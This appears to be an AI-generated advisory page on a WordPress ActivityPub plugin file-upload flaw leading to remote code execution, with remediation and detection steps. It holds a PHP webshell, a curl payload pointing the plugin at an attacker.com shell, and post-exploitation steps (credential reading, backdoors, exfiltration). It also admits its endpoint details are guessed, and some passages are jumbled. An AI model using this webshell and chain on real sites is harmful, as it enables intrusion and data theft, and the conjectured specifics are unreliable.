CVE-2026-131965 — Unknown ActivityPub (9.4.4) — CWE-434
The ActivityPub WordPress plugin before 9.4.4 does not properly validate the remote media it caches when displaying comments, allowing unauthenticated users to get PHP files stored in the uploads directory, which could lead to RCE on servers executing PHP files from there.
The ActivityPub WordPress plugin before 9.4.4 does not properly validate the remote media it caches when displaying comments, allowing unauthenticated users to get PHP files stored in the uploads directory, which could lead to RCE on servers executing PHP files from there.
🎯 What is this vulnerability?
CVE-2026-131965 is a critical Unrestricted File Upload vulnerability (CWE-434) in the ActivityPub WordPress plugin, affecting versions prior to 9.4.4.
The core technical flaw lies in the plugin's remote media caching mechanism. When the plugin fetches remote media (images, videos, etc.) to cache them locally for display within comments, it fails to properly validate the content type, file extension, or MIME type of the downloaded data before saving it to the server's wp-content/uploads/ directory.
Specifically, the validation logic likely relies on the Content-Type header sent by the remote server or the file extension provided in the URL, without performing strict server-side validation of the actual file content (e.g., magic bytes) or enforcing a whitelist of safe extensions (e.g., .jpg, .png, .webp). This allows an unauthenticated attacker to trick the plugin into downloading and storing a malicious PHP file (e.g., a webshell) in the uploads directory.
The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H confirms:
- AV:N: Exploitable over the network.
- AC:L: Low complexity; no race conditions or specific timing required.
- PR:N: No authentication required.
- UI:N: No user interaction required.
- S:U: Scope is unchanged (the vulnerable component is the plugin, and the impact is on the same system).
- C:H/I:H/A:H: High impact on Confidentiality, Integrity, and Availability, consistent with Remote Code Execution (RCE).
- Shodan/Censys: Searching for
http.title:"ActivityPub"orhttp.favicon.hash:<hash_of_activitypub>. - WPScan: Running
wpscan --url https://target.com --enumerate pto list plugins and versions. - Manual Check: Visiting
https://target.com/wp-content/plugins/activitypub/and checking thereadme.txtfile for the version number.
⚡ Attack Chain
1. Discovery & Reconnaissance
An attacker identifies a target WordPress site using the ActivityPub plugin. This can be done via:The attacker confirms the version is < 9.4.4.
2. Exploitation
The attacker hosts a malicious PHP file (e.g.,shell.php) on a remote server under their control. The file contains a simple webshell payload:<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>The attacker then triggers the ActivityPub plugin's media caching mechanism. While the exact endpoint and parameter names are not explicitly stated in the CVE description, the vulnerability occurs when the plugin processes a comment containing a remote media URL. The attacker likely:
1. Creates a malicious ActivityPub object (e.g., a note or article) that includes a remote image URL pointing to the attacker's shell.php.
2. Sends this object to the target WordPress site via the ActivityPub protocol (e.g., POST /wp-json/activitypub/1.0/inbox or similar endpoint, depending on the plugin's implementation).
3. The plugin fetches http://attacker.com/shell.php, validates it (incorrectly) as a valid media file, and saves it to wp-content/uploads/ with a predictable or guessable filename (e.g., shell.php or a hashed name).
Illustrative PoC (Conceptual):
Note: The exact API endpoint and parameters depend on the plugin's specific implementation. The following is a conceptual representation of the attack flow.
# Step 1: Host shell.php on attacker's server
# http://attacker.com/shell.php
# Step 2: Send a malicious ActivityPub object to the target
# The 'url' field points to the malicious PHP file
curl -X POST "https://target.com/wp-json/activitypub/1.0/inbox" \
-H "Content-Type: application/ld+json" \
-d '{
"@context": "https://www.w3.org/ns/activitystreams",
"id": "http://attacker.com/object/1",
"type": "Note",
"content": "Check this out: <img src=\"http://attacker.com/shell.php\">",
"attributedTo": "http://attacker.com/user/1",
"to": "https://www.w3.org/ns/activitystreams#Public"
}'The plugin processes the note, sees the <img> tag, fetches http://attacker.com/shell.php, and saves it to the uploads directory. If the plugin does not strip the .php extension or validate the content, the file is saved as shell.php (or a similar name) in wp-content/uploads/.
3. Post-exploitation
Once the PHP file is stored in the uploads directory, the attacker can execute it directly if the web server is configured to execute PHP files from that directory (a common misconfiguration, though less common in hardened environments).1. Identify the uploaded filename: The attacker may need to guess the filename or use a directory listing vulnerability (if enabled) to find it. Common patterns include:
- https://target.com/wp-content/uploads/shell.php
- https://target.com/wp-content/uploads/2026/12/shell.php
- https://target.com/wp-content/uploads/<hashed_name>.php
2. Execute the webshell:
curl "https://target.com/wp-content/uploads/shell.php?cmd=id"This returns the output of the id command, confirming RCE.
3. Privilege Escalation & Persistence:
- Read wp-config.php to obtain database credentials.
- Access the database to modify user roles (e.g., promote an existing user to administrator).
- Install a persistent backdoor (e.g., a malicious plugin or theme).
- Exfiltrate sensitive data (user emails, passwords, API keys).
🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Upgrade
wp plugin update activitypub2. Workarounds (If Immediate Update is Not Possible)
.htaccess file in the wp-content/uploads/ directory to prevent PHP execution:<FilesMatch "\.(?i:php|php3|php4|php5|phtml)$">
Order Allow,Deny
Deny from all
</FilesMatch>Or, for Apache 2.4+:
<FilesMatch "\.(?i:php|php3|php4|php5|phtml)$">
Require all denied
</FilesMatch>SecRule REQUEST_URI "@rx /wp-content/uploads/.*\.php" "id:100001,phase:1,deny,status:403,msg:'Blocked PHP execution in uploads directory'"wp plugin deactivate activitypub3. Detection
grep -i "wp-content/uploads/.*\.php" /var/log/apache2/access.logwp-content/uploads/ directory for new PHP files:find /var/www/html/wp-content/uploads/ -name "*.php" -mtime -1⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query